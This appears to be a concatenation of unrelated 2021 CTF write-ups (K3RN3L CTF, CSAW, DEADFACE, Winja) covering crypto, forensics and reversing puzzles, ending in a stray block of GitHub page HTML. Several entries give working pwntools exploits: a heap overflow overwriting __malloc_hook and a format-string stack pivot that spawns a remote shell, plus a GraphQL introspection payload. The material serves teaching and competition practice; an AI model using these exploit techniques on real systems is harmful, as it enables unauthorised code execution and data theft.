This is a similar challenge than Alkaloid Stream but with a harder to reverse key derivation. More details are in the full writeup, but this summary is enough to understand the solution. ## Understanding the key derivation The keystream derivation works as follows:- let `ln` be the size of the flag. Generate `ln` linearly independent keys of `ln` bits, denoted `key[i]`.- for every `i <= ln - ln//3`, let `fake[i]` be the XOR of `ln//3` randomly chosen different keys `key[j]` with `i+1 <= j <= ln`.- generate a random keystream `ks` of `ln` bits. Define `public[i] = (fake[i], key[i]) if ks[i] == 1 else (key[i], fake[i])`- then choose a permutation `pi`, the keystream used to encrypt the flag is `pi(ks)` and public released data is `pi(public)`. Only lines 2 changes from the previous Alkaloid cipher. ## Retrieving the keystream This time we don't have an explicit recurrence relation where we can deduce the `fake` values. However we know that `fake` values are linear combinations of other keys, while `key` values are not (they are linearly independent).Thus we still have some kind of recurrence relation: if we know `key[i+1], ..., key[ln - 1]`, then we can find `fake` values that are a linear combination of those elements.We also know that `fake[i]` is one such element, so we will learn at least one new key on this round. The question now is to understand how we can state if some element `v` is a linear combination of the known keys.To do so, I put all keys in a matrix of GF(2). This is a matrix of size `k * ln` where `k` is the number of known keys.Because keys are linearly independent and `k < ln`, the rank of this matrix is k. Then I add a new row with the last row being `v`. I now have a matrix of size `(k+1) * ln`.If `v` is a linear combination of the keys, then my matrix will still have rank `k`.Otherwise they are linearly independent and so the matrix will have rank `k+1`. The following code evaluates the rank of a GF(2) matrix (borrowed from [Stackoverflow](https://stackoverflow.com/questions/56856378/fast-computation-of-matrix-rank-over-gf2)):```pythondef gf2_rank(rows): """ Find rank of a matrix over GF2. The rows of the matrix are given as nonnegative integers, thought of as bit-strings. This function modifies the input list. Use gf2_rank(rows.copy()) instead of gf2_rank(rows) to avoid modifying rows. """ rank = 0 while rows: pivot_row = rows.pop() if pivot_row: rank += 1 lsb = pivot_row & -pivot_row for index, row in enumerate(rows): if row & lsb: rows[index] = row ^ pivot_row return rank``` Given this function I can say if some value is a linear combination of the known keys:```pythondef is_linear_combination(keys, test_value): rows = keys.copy() rows.append(test_value) n = len(rows) return gf2_rank(rows) < n``` ## Final exploit ```pythonwith open("output.txt", "r") as f: c = bytes.fromhex(f.readline()) c = bytes_to_bits(c) public = eval(f.read()) ln = len(public)key = [0] * lnkeystream = [0] * lnfor i in range(ln-1,-1,-1): fake = 0 for j in range(ln // 3): if i + j + 1 >= ln: break fake ^= key[i + j + 1] for k in range(ln): if fake in public[k]: if fake == public[k][0]: keystream[k] = 1 key[i] = public[k][1] else: keystream[k] = 0 key[i] = public[k][0] public[k] = [-1, -1] break flag = bits_to_bytes(xor(keystream, c))print(flag)``` It takes 5 min or so to run.
# BlogQL* after research and read chall content we will figure out it use graphql as database :)## Target* [\*] Get Flag :) ## Solution* First of all we know its uses graphql to make sure of that go to /graphql?query={PAYLOAD}* we will search for payload to get all tables name so we can find where is the flag`query { __schema { queryType { fields { name type { kind ofType { kind name } } } } }}`* after excute the payload above we will find this![](https://raw.githubusercontent.com/MustafaRaad7/Winja-CTF-Writeups/main/BlogQL/images/1.png)* **Yeyyy.. We are too close :)*** now all we have to do fetch all data from it :D`{ secretblogs{ content }}`![](https://raw.githubusercontent.com/MustafaRaad7/Winja-CTF-Writeups/main/BlogQL/images/2.png)* **flag : flag{ea6a3da74909e79a8aa38005c6810893_d1d_In7r0speC7i0n_wORk_F0r_gRaPhqL}**
# Luciafer's Cryptoware IOC 2 ![Category](http://img.shields.io/badge/Category-Reverse_Engineering-orange?style=for-the-badge) ![Points](http://img.shields.io/badge/Points-10-brightgreen?style=for-the-badge) ## Details >Luciafer's cryptoware causes even more ruckus by encrypting the victim's file names. Decrypt the filename and enter it as the flag: Example flag{important-document.ext}.>> [Encrypted File](https://tinyurl.com/33e6t3xs) --- Downloading the file we see it has a name of `fkduohv-d-jhvfklfnwhu-wr-gdun-dqjho-01.oodev` if we enter the file name into [CyberChef](https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,23)&input=ZmtkdW9odi1kLWpodmZrbGZud2h1LXdyLWdkdW4tZHFqaG8tMDEub29kZXY) and apply a `ROT13` recipe, we can alter the rotation until we find; ![image](https://user-images.githubusercontent.com/73170900/137824700-0d249115-73d5-48aa-a682-1d261d10f34a.png) ## flag{charles-a-geschickter-to-dark-angel-01.llabs}
# Decode me* "There's a world of difference between truth and facts. Facts can obscure the truth."## Target* [\*] Decode the string. thats simple :D## Solution* they gave us weird string!* `Zm(xhZ(3tm-NGR-rM2-dre)DRm)Yjg)xZG"YwY"Xc0"dl9\iQX\MzN\jRf*aXN*fQX*czc~zBt~M30~K`* u can decode it using [cyberchef](https://gchq.github.io/CyberChef/)* when u see this for the first time u will wtf is that!* but when u look close you will figure out that's base64 and some random special characters* simple and ez goahead and decode it :D* **flag : flag{f4dk3gkx4fb81df0aw4v_bAs364_is_Aw3s0m3}**
# Bogo Solve## Description > I was trying to sort using Bogosort, but it was taking a while, so in the meantime I made this challenge. Enjoy! > nc ctf.k3rn3l4rmy.com 2237 ## Source ```pyimport randomNUMS = list(range(10**4))random.shuffle(NUMS)tries = 15while True: try: n = int(input('Enter (1) to steal and (2) to guess: ')) if n == 1: if tries==0: print('You ran out of tries. Bye!') break l = map(int,input('Enter numbers to steal: ').split(' ')) output = [] for i in l: assert 0<= i < len(NUMS) output.append(NUMS[i]) random.shuffle(output) print('Stolen:',output) elif n == 2: l = list(map(int,input('What is the list: ').split(' '))) if l == NUMS: print(open('flag.txt','r').read()) break else: print('NOPE') else: print('Not a choice.') except: print('Error. Nice Try...')``` ## Solution Analyst the source code:- Server holds a list having `10**4` random elements- To capture the flag, we have to send exactly the list- Request to steal numbers with your expected indexes- Response from server for stolen numbers is random Well, a naive approach is request 1 number each request --> The connection will be closed soon if you request a lot `WHAT IF` you send a list number like this `0 1 1 2 2 2 3 3 3` ? Yeah, the response will be `10 11 11 12 12 13 13 13` (`obviously it's random :D`) Now, mapping from request to response, you'll know the index of `10` is `0` and so on With this theory, I request `a certain number` and mapping it to response to create a list (payload in the future) My code:- Use `dictionary` to check and append my list- I request `400 numbers` in a request (if this amount is too large, the connection will be closed)- When my list is filled out, I'll send it to capture the flag ```pyfrom pwn import *from collections import Counter# context.log_level='debug' def createListNum(begin, offset = 400): finalList = [] for currentNum in range(begin, begin + offset): for num in range(begin, currentNum + 1): finalList.append(str(num)) return ' '.join(finalList) # return finalList def getKey(dict, value): return list(dict.keys())[list(dict.values()).index(value)] p = remote('ctf.k3rn3l4rmy.com', 2237)# Payload will be sent in the final requestREALNUMS = []begin = 0 while begin != 10000: p.recvuntil('Enter (1) to steal and (2) to guess') # Send command 1 p.sendline(bytes('1', 'utf-8')) p.recvuntil('Enter numbers to steal') print("Sent from", begin) # Send request request = createListNum(begin) p.sendline(request) # Receive response # Example response: Stolen: [5219, 1111, ..., 1] numList = p.recvline().strip().decode('utf-8') print("Received", numList) numList = numList.split('[')[1][:-1].split(', ') # Convert to dict response = Counter(numList) # Put into our payload for currentNum in range(begin, begin + 400): key = currentNum % 400 REALNUMS.append(getKey(response, 400 - key)) print("Len of received numbers", len(REALNUMS)) # New request begin += 400 if len(REALNUMS) == 10**4: break p.recvuntil('Enter (1) to steal and (2) to guess')# Send command 2p.sendline(bytes('2', 'utf-8'))p.recvuntil('What is the list')print("Sent REALNUMS")p.sendline(' '.join(REALNUMS)) # Receive flagprint(p.recvline().strip().decode('utf-8')) p.close()``` ![Flag](https://raw.githubusercontent.com/greybtw/writeup-CTF_2021/master/K3RN3LCTF/img/Bogo%20Solve/flag.png) The flag was captured ?? ```Flag is : flag{alg0r1thms_ar3_s0_c00l!}```
The magic.rar contains a tar.gz and inside that a zip and inside that a rar file and goes on and on.it is a nested file.so I wrote a simple bash script to unzip them.```while :dofind . -depth -name '*.zip' -exec unzip -n {} \; -deletefind . -depth -name '*.tar.gz' -exec tar zxf {} \; -deletefind . -depth -name '*.rar' -exec unrar x {} \; -deletedone```After running the bash script in the same directory as the rar file we get flag.txt. And when we open it,its language of pikachu. searched on google will find Pikalang cipher decoder[Pikalang Interpreter](https://www.dcode.fr/pikalang-language) Flag: `EHACON{n07_71r3d_0f_unz1pp1n6_huh!!!}`
### **[Original writeup](https://github.com/bias0/writeups/tree/main/csaw21-constela) with images (https://github.com/bias0/writeups/tree/main/csaw21-constela)** ### **Traffic Analysis** They provide a *.pcap*, in which we can find a lot of diffrent traffic. After inspectioning a little the conversations, I found a TCP stream with an intersting repeated **hexadecimal string**. >0x42416837436b6b694657567559574a735a5639755a58647a58325a6c5a5751474f675a465646524a49694268645852766257463061574e68624778350a58324e6f5a574e72583356775a4746305a584d474f77425556456b694848567a5957646c5832316...>c64484a7059334e6664584e6c636c396b595852680a426a73415646524a49686431634752686447566663484a7665486c665a584a79623349474f7742554d456b69465856775a4746305a563968646d46700a62474669624755474f7742554d413d3d0aC That resulted in a **base64** message, decoded with the usual pipe of `echo "base64_message" | base64 -d` : >BAh7CkkiFWVuYWJsZV9uZXdzX2ZlZWQGOgZFVFRJIiBhdXRvbWF0aWNhbGx5X2NoZWNrX3VwZGF0ZXMGOwBUVEkiHHVzYWdlX21ldHJpY3NfdXNlcl9kYXRhBjsAVFRJIhd1cGRhdGVfcHJveHlfZXJyb3IGOwBUMEkiFXVwZGF0ZV9hdmFpbGFibGUGOwBUMA==>>I"enable_news_feed:ETTI" automatically_check_updates;TTI"usage_metrics_user_data;TTI"update_proxy_error;T0I"update_available;T0 **Unfortunatly, this led to nowhere :(**. So I returned to the *.pcap* in order to find something else. In the **DNS messages** I noticed something strange. In a lot of traces with requests to a variety of sites, I ***c***saw (xD) some odd sites that appear one following the other, for example: > JEdQR0dBLCwzMC4wLE4sMzUuMCxXLDcs.com MDAsLDEwMDIwLjAsZnQsLCwsKjQ3.com Then, as before, I decoded it from base64 taking the concatenation of the two strings excpet the *.com*. >$GPGGA,,42.0,N,27.0,W,7,00,,10015.0,ft,,,,*47 This is a message format used for the **GPS satellite location** (*as hinted by the challenge description*) with fields as follows: >$GPGGA,123519,4807.038,N,01131.000,E,1,08,0.9,545.4,M,46.9,M,,*47>>Where:>```> GGA Global Positioning System Fix Data> 123519 Fix taken at 12:35:19 UTC> 4807.038,N Latitude 48 deg 07.038' N> 01131.000,E Longitude 11 deg 31.000' E> 1 Fix quality: 0 = invalid> 1 = GPS fix (SPS)> 2 = DGPS fix> 3 = PPS fix> 4 = Real Time Kinematic> 5 = Float RTK> 6 = estimated (dead reckoning) (2.3 feature)> 7 = Manual input mode> 8 = Simulation mode> 08 Number of satellites being tracked> 0.9 Horizontal dilution of position> 545.4,M Altitude, Meters, above mean sea level> 46.9,M Height of geoid (mean sea level) above WGS84> ellipsoid> (empty field) time in seconds since last DGPS update> (empty field) DGPS station ID number> *47 the checksum data, always begins with *``` I tried to put the coordinates in google maps but they are placed in the Atlantic Ocean with nothing to see. After that I noticed that in the DNS streams all the times the two strings that can be concatenated appear, they have a slightly difference in the characters, meaning that there are more coordinates. I collected all of them using a wireshark filter: > `dns && (((ip.src == 127.0.0.1) && (ip.dst == 127.0.0.53))) && ((frame.len==109) || (frame.len==105)) && dns.qry.name ` that takes all the frames that are coupled one after the other, without repeatin them with the dns request forwarding. Wireshark gives the possibility to export the result in a json file, in order to use it in a python exploit ([export](constela/values.json)). ## **Exploit** In the exploit I took the values (**321 locations**) of longitude, latitude and altitude in order to plot them, and after a lot of different tries (even a 3D plot with all the elements, quite beautiful).Finally I maneged to get the right combiantion: **Latitude and Altitude**, both with a max range of 25 different elements. ## The result is a square, that if shrunk a bit gives a **QR CODE** that returns the flag! > `flag{tH3_5chw1fTy_C0n3teLat10N}`
# Luciafer, You Clever Little Devil! | Traffic Analysis[Original writeup](https://github.com/TheArchPirate/ctf-writeups/blob/main/DEADFACE/traffic-analysis/luciafer-you-clever-little-devil.md) ## Description- - -Luciafer gains access to the victim's computer by using the cracked password. What is the packet number of the response by the victim's system, saying that access is granted? Submit the flag as: flag{#}. NOTE: Use the packet response from her login, not from the password cracker. ## Location of PCAP- - -You can find a copy of this pcap in my writeups repository. If you would like a copy, please go to: ctf-writeups/DEADFACE/files/PCAP/pcap-challenge-final.pcapng ## Solution- - -This flag is the packet number of the 230 FTP response we see in Release The Crackin'!. This is: 159765 ## Flagflag{159765}
## TLDRHeap buffer overflow -> write `__malloc_hook` into tcache pointer, malloc to write to `__malloc_hook`, malloc again to trigger one gadget. The [full writeup](https://github.com/junron/writeups/blob/master/2021/kernelctf/gradebook.md) is much more detailed (maybe too detailed), but it's suitable for beginners who have never touched a heap challenge. ## Script```#!/usr/bin/env python3 from pwn import * exe = ELF("./gradebook")libc = ELF("./libc.so.6")ld = ELF("./ld-2.31.so") context.binary = exe def conn(): if args.LOCAL: return process([ld.path, exe.path], env={"LD_PRELOAD": libc.path}) else: return remote("ctf.k3rn3l4rmy.com", 2250) def main(): r = conn() r.sendline("1") r.sendline("a1") r.sendline("1250") r.sendline("a"*20) r.recvuntil("Exit Gradebook") r.sendline("1") r.sendline("a2") r.sendline("10") r.sendline("hi") r.recvuntil("Exit Gradebook") # I encountered a bit of a race condition, which is weird time.sleep(1) r.sendline("5") r.recvuntil("Exit Gradebook") r.sendline("1") r.sendline("b1") r.sendline("1250") r.sendline("a"*7) r.recvuntil("Exit Gradebook") r.sendline("2") r.recvuntil("NAME: aaaaaaa\n") d = r.recvuntil("STUDENT ID")`` data = d.split(b"\n")[0]+b"\0\0" print(data) leak = u64(data) libc_addr = leak - 2014176 print(hex(libc_addr)) libc.address = libc_addr r.sendline("3") r.sendline("b1") r.sendline(str(0xaaaaaaaaaaaaaa)) r.recvuntil("Exit Gradebook") r.sendline("4") r.sendline("b1") print(hex(libc.sym.__malloc_hook)) r.sendline(b"a"*(1256+32)+p64(0x21)+p64(libc.sym.__malloc_hook)) r.recvuntil("Exit Gradebook") r.sendline("1") r.sendline("a3") r.sendline("20") r.sendline(p64(0xe6c81 +libc.address)) r.recvuntil("Exit Gradebook") r.sendline("1") r.sendline("a4") r.sendline("20") r.interactive() if __name__ == "__main__": main()```
[](ctf=csaw-finals-2021)[](type=reverse)[](tags=ida)[](tools=ida) # maze (re) ```sh[csaw2021-fin] file maze_publicmaze_public: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped``` maze is a simple ELF file without any tricks. A simple `start` to read flag, check and return ```csys_write(1u, buf, 0x1AuLL);sys_read(0, input, 0x64uLL);x = sub_403EB6(input); // use r15 as returnif (x == 0x40){ v2 = sys_write(1u, aWellDonePlease, 0x3BuLL);} else { v2 = sys_write(1u, aTryAgain, 0xCuLL);}sys_exit(1);````sub_403EB6` is a simple function too. Only thing is `.text` is mapped `rwx` and this function patches entry to ret `c3` on return such that any next call is a no-op and ret. The logic is pretty straightforward too.![node](node.png) It reads the first byte from the flag and considers it as a digit. If the digit is in 1-8 range then a tuple of values is set and used to calculate a jump. Looking at the destination of the jump we find that there are multiple copies of the same `sub_403EB6` with the same code. So the binary is basically and array of same check functions that continue jumping to each other and return if you call the same function twice. Additionally there are some dummy ret's placed on some destination jumps as well which are like an instant fail. To get the good boy message you need to call exactly all of 0x40 functions once as each function increments `r15`. ```pythonIn [3]: e = ELF("maze_public") Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400080) RWX: Has RWX segments In [4]: e.read(0x403EB6, 0x403F83-0x403EB6) == e.read(0x403F83, 0x404050-0x403F83)Out[4]: True``` Based on this the destination formula is something like this and that's basically all the logic. ```pythoninp = "12345"mp = [(-2, 1), (-1, 2), (1, 2), (2, 1), (2, -1), (1, -2), (-1, -2), (-2, -1)]r15 = 0curr = 51for i in inp: r15 += 1 movx, movy = mp[ord(i)-ord("1")] curr += movx*12 + movy``` We need to find out what jmp targets are actual functions that would be called first time and not just rets. All functions - valid or dummy are placed at same distance and `pwntools.ELF` can be used to read the first byte - valid ones would not have `ret` Now looking at this I found that there is a pattern - 8 valid functions followed by 4 rets. A total of (8+4)*12 = 96 places out of which 64 were valid. I thought of this as a graph theory problem where the neighbours are valid targets. The solution needs that we traverse each node exactly once and visit all nodes - basically a hamiltonian path. A dot file can be generated to load in `networkx` which already has a lot of graph theory related algorithms ```pythong = [[] for i in range(96)]print("strict graph x {")for i in range(96): if z[i][1]!=72: continue for j in mp: movx, movy = j dst = i + movx*12 + movy if dst >= 0 and dst < 96 and z[dst][1]==72: print("%d -- %d" % (i, dst)) g[i].append(dst)print("}")``` The [dot](a.dot) file can be rendered to ![graph](a.png) and then find the hamiltonian path with source as `sub_403EB6` which was the 51st member of the array and hence 35th valid node. ```pythonimport networkx as nximport sysdef hamilton(G): F = [(G,['35'])] n = G.number_of_nodes() while F: graph,path = F.pop() confs = [] neighbors = (node for node in graph.neighbors(path[-1]) if node != path[-1]) #exclude self loops for neighbor in neighbors: conf_p = path[:] conf_p.append(neighbor) conf_g = nx.Graph(graph) conf_g.remove_node(path[-1]) confs.append((conf_g,conf_p)) for g,p in confs: if len(p)==n: return p else: F.append((g,p)) return None g = nx.drawing.nx_agraph.read_dot("./a.dot")path = hamilton(g)print(path)mp = [(-2, 1), (-1, 2), (1, 2), (2, 1), (2, -1), (1, -2), (-1, -2), (-2, -1)]mpd = [-23, -10, 14, 25, 23, 10, -14, -25]last = 0for i in path: u = int(i) u = (u//8)*12 + (u%8) # print(u, file=sys.stderr) if last != 0: print(mpd.index(u-last)+1,end="") last = u``` This gives us one valid input ```sh(test3) [csaw] ./maze_publicPlease type your input:431638527527572572527527223163816467611642134676813236166612477Well done! Please validate the input on the remote server``` After talking to the author and other players on discord it was seen that challenge was designed to be solved using a Knight Tour. The 8x8 board was chess board and the knight was placed at D4. Based on that I tried to use a closed Knight Tour which is like a loop and the last move takes you to the initial place again. Solution [here](https://gist.github.com/sudhackar/882e95dc79cfcb4b384b2f919b2d7ab7) So another valid input```sh[csaw] python3 /tmp/m.py431741658571278358241347146831658753852141356347146857835824752%[csaw] ./maze_publicPlease type your input:431741658571278358241347146831658753852141356347146857835824752Well done! Please validate the input on the remote server```
KeyBruteForce.cpp Flag : INTENT{crypt0s_ar3_the_w0rst_but_d4amn_u_g00000d}```#include "FlagData.h"#include <iostream>#include <Windows.h> DWORD __cdecl sub_4015B0(BYTE* pbData, DWORD dwDataLen, BYTE* a3){ DWORD LastError; // esi DWORD v5; // esi DWORD v6; // esi DWORD pdwDataLen; // [esp+4h] [ebp-Ch] BYREF HCRYPTPROV phProv; // [esp+8h] [ebp-8h] BYREF HCRYPTHASH phHash; // [esp+Ch] [ebp-4h] BYREF LastError = 0; phProv = 0; phHash = 0; pdwDataLen = 20; if (!CryptAcquireContextW(&phProv, 0, 0, 1u, 0xF0000000)) return GetLastError(); if (CryptCreateHash(phProv, 0x8004u, 0, 0, &phHash)) { if (CryptHashData(phHash, pbData, dwDataLen, 0)) { if (!CryptGetHashParam(phHash, 2u, a3, &pdwDataLen, 0)) LastError = GetLastError(); CryptDestroyHash(phHash); CryptReleaseContext(phProv, 0); return LastError; } else { v6 = GetLastError(); CryptReleaseContext(phProv, 0); CryptDestroyHash(phHash); return v6; } } else { v5 = GetLastError(); CryptReleaseContext(phProv, 0); return v5; }} BOOL EncryptionData(BYTE * v33, BYTE * tmp, char * num){ BYTE pbData[48] = { 0x08, 0x02, 0x00, 0x00, 0x10, 0x66, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00}; void* v10; memcpy(&pbData[12], v33, 20); memcpy(&pbData[32], tmp, 16); for (int i = 0; i < 48; i++) printf("%02X ", pbData[i]); puts(""); DWORD pdwDataLen = sizeof(FlagData); DWORD Size = sizeof(FlagData); HCRYPTPROV phProv = 0; HCRYPTKEY phKey = 0; unsigned char String1[16] = { 0x30, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x33, 0x30, 0x30, 0x30, 0x30, 0x33, 0x30, 0x30, 0x37 }; if (CryptAcquireContextA(&phProv, 0, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, 0xF0000000)) { if (!CryptImportKey(phProv, pbData, 0x30, 0, 1, &phKey)) CryptReleaseContext(phProv, 0); if (CryptSetKeyParam(phKey, 1, String1, 0)) { v10 = calloc(pdwDataLen, 1); if (v10) { memcpy(v10, FlagData, pdwDataLen); char Filename[20] = "output_dec.bin"; strcat_s(Filename, num); CryptDecrypt(phKey, 0, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)v10, &pdwDataLen); std::string findstr("INTENT"); std::string haystack((BYTE *)v10, (BYTE *)v10 + pdwDataLen); std::size_t n = haystack.find(findstr); if (n != std::string::npos) { HANDLE hHnd2 = CreateFile(Filename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); DWORD NumberOfBytesWritten2; WriteFile(hHnd2, v10, pdwDataLen, &NumberOfBytesWritten2, 0); CloseHandle(hHnd2); return TRUE; } } } } return FALSE;} int main(){ BYTE v33[20] = { 0, }; BYTE tmp[16] = { 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, 0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0x00, 0x00, 0x00, 0x00 }; for (int i = 0; i <= (0xFF * 5); i++) { char num[5]; char Buffer[512] = "YouTakeTheRedPillYouStayInWonderlandAndIShowYouHowDeepTheRabbitHoleGoes0mgisthebestg5642f1266749---"; sprintf_s(num, "%d", i); strcat_s(Buffer, num); printf("%s\n", Buffer); sub_4015B0((BYTE*)Buffer, strlen(Buffer), v33); if (EncryptionData(v33, tmp, num)) break; } system("pause");}```
## on_the_hook > Points: 461>> Solves: 22 ### Description:Captain Malloc lost his hook find it and than grab a shell for your effort. nc ctf.k3rn3l4rmy.com 2201 ### Attachments:```https://ctf.k3rn3l4rmy.com/kernelctf-distribution-challs/on_the_hook/on_the_hook https://ctf.k3rn3l4rmy.com/kernelctf-distribution-challs/on_the_hook/libc.so.6``` ## Analysis: This binary is clearly vulnerable to FSB (Format String Bug). The binary uses a while loop, so we can use the FSB 5 times.However, because it is Full Relro, GOT overwrite cannot be performed, and the main function ends with exit (0), so the return address of the main function cannot be changed. ```c$ ./on_the_hook echo:AAAA,%p,%p,%p,%p,%p,%p,%p,%pAAAA,0x40,0xf7fa65a0,0x8049292,(nil),0xffffd223,0x1,0x41414141,0x2c70252c <---- FSB``` ```c$ checksec on_the_hook[*] '/home/mito/CTF/K3RN3LCTF/Pwn_on_the_hook/on_the_hook' Arch: i386-32-little RELRO: Full RELRO <--- Full Relro Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)``` Below is the decompiled result by Ghidra.```cvoid main(void) { int in_GS_OFFSET; EVP_PKEY_CTX *in_stack_ffffffa0; int local_58; char local_54 [64]; undefined4 local_14; undefined *puStack16; puStack16 = &stack0x00000004; local_14 = *(undefined4 *)(in_GS_OFFSET + 0x14); init(in_stack_ffffffa0); puts("echo:"); local_58 = 1; while (local_58 < 6) { fgets(local_54,0x40,stdin); printf(local_54); <------------ FSB local_58 = local_58 + 1; } /* WARNING: Subroutine does not return */ exit(0);} ``` ## Solution: Since Got overlay is not possible, I considered the following two methods, but I used the former method. See the code in `solve_malloc_hook.py` for the latter. --Call system('/bin/sh') by Stack pivot by rewriting the return address of printf --Launch `/bin/sh` by writing One gadget to __malloc_hook The Exploit code has done the following steps: (1) Leak the Stack address using FSB to identify the return address (2) Libc address leak using FSB to identify the address of the system function (3) Using the ROP gadget of "add esp, 0x100; ret", write the address of the system function to the stack of the address where the return address to the main function is written + 0x104 bytes. (4) As in (3), write the address of `/bin/sh` to the stack of the address where the return address to the main function is written + 0x10c bytes. (5) Rewrite the return address that returns from printf to the main function to the address of "add esp, 0x100; ret". When returning from printf to the main function in the above procedure, system ('/bin/sh') can be started after "add esp, 0x100; ret". The address of Stack pivot is obtained below.```bash$ ropper -f /lib/i386-linux-gnu/libc-2.23.so --nocolor > rop_l.txt[INFO] Load gadgets for section: PHDR[LOAD] loading... 100%[INFO] Load gadgets for section: LOAD[LOAD] loading... 100%[LOAD] removing double gadgets... 100% mito@ubuntu:~/CTF/K3RN3LCTF/Pwn_on_the_hook$ grep ": add esp" rop_l.txt ...0x00076a71: add esp, 0x100; ret;...``` ## Exploit code:```pythonfrom pwn import * context(os='linux', arch='i386')#context.log_level = 'debug' BINARY = './on_the_hook'elf = ELF(BINARY) if len(sys.argv) > 1 and sys.argv[1] == 'r': HOST = "ctf.k3rn3l4rmy.com" PORT = 2201 s = remote(HOST, PORT) libc = ELF("./libc.so.6") stack_pivot = 0x00076991 # add esp, 0x100; ret; else: s = process(BINARY) libc = elf.libc stack_pivot = 0x00076a71 # add esp, 0x100; ret; #s = process(BINARY, env={'LD_PRELOAD': './libc.so.6'}) #libc = ELF("./libc.so.6") #stack_pivot = 0x00076991 # add esp, 0x100; ret; index = 7 # Lead stack addresss.sendline("%21$p")s.recvuntil("echo:\n")stack_leak = int(s.recvuntil('\n'), 16)target_addr = stack_leak - 0x118print("stack_leak =", hex(stack_leak))print("target_addr =", hex(target_addr)) # Leak libc addresss.sendline(p32(elf.got.setvbuf) + b"%7$s")s.recv(4)setvbuf = u32(s.recv(4))libc_base = setvbuf - libc.sym.setvbufsystem_addr = libc_base + libc.sym.systembinsh_addr = libc_base + next(libc.search(b'/bin/sh')) print("setvbuf =", hex(setvbuf))print("libc_base =", hex(libc_base)) # Write system address in stackwrites = {target_addr + 0x104: system_addr}buf = fmtstr_payload(index, writes, write_size='short')s.sendline(buf) # Write /bin/sh address in stackwrites = {target_addr + 0x10c: binsh_addr}buf = fmtstr_payload(index, writes, write_size='short')s.sendline(buf) # Stack pivot(add esp, 0x100; ret;) and Start /bin/shwrites = {target_addr: libc_base + stack_pivot}buf = fmtstr_payload(index, writes, write_size='short')s.sendline(buf) s.interactive() ``` ## Results:```bashmito@ubuntu:~/CTF/K3RN3LCTF/Pwn_on_the_hook$ python3 solve_stack_pivot.py r[*] '/home/mito/CTF/K3RN3LCTF/Pwn_on_the_hook/on_the_hook' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)[+] Opening connection to ctf.k3rn3l4rmy.com on port 2201: Done[*] '/home/mito/CTF/K3RN3LCTF/Pwn_on_the_hook/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledsolve.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes s.sendline("%21$p")solve.py:22: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes s.recvuntil("echo:\n")solve.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes stack_leak = int(s.recvuntil('\n'), 16)stack_leak = 0xff825894target_addr = 0xff82577csetvbuf = 0xf7e24360libc_base = 0xf7dc4000[*] Paused (press any to continue)[*] Switching to interactive mode...$ iduid=1000 gid=1000 groups=1000$ ls -ltotal 1920-rw-rw-r-- 1 nobody nogroup 46 Nov 11 02:58 flag.txt-rwxrwxr-x 1 nobody nogroup 147688 Nov 11 02:58 ld-2.23.so-rwxrwxr-x 1 nobody nogroup 1786484 Nov 11 02:58 libc.so.6-rwxrwxr-x 1 nobody nogroup 19672 Nov 11 22:59 run$ cat flag.txtflag{m4l1oc_h0ok_4nd_0n3_g4d9et_3a5y_a5_7h4t} ``` ## Reference:
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script 